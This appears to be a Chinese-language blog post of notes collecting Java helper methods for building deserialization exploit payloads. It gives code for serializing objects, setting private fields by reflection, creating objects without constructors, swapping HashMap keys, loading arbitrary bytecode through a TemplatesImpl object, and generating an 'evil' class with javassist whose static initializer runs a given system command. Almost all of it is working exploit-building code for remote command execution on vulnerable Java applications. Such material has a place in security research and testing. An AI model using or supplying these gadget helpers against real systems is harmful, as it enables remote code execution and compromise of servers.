快速查找反序列化中常用方法

本文最后更新于:13 小时前

工具方法

序列化及反序列化

1
2
3
4
5
6
7
8
9
10
11
12
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

反射修改对象属性

1
2
3
4
5
6
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

绕过构造器创建对象

1
2
3
4
5
6
7
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

带构造器创建对象(可绕开单例模式)

1
2
3
4
5
6
7
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}

修改HashMap的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static  void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry!= null){
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object keyValue = keyField.get(entry);
if (keyValue.equals(oldKey))
setField(entry,"key",newKey);
}
}
}

返回恶意对象

TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Templates getTemplates() throws Exception{
byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,bytes);

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}

通过javassist构造恶意类加载字节

1
2
3
4
5
6
7
8
9
10
    public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}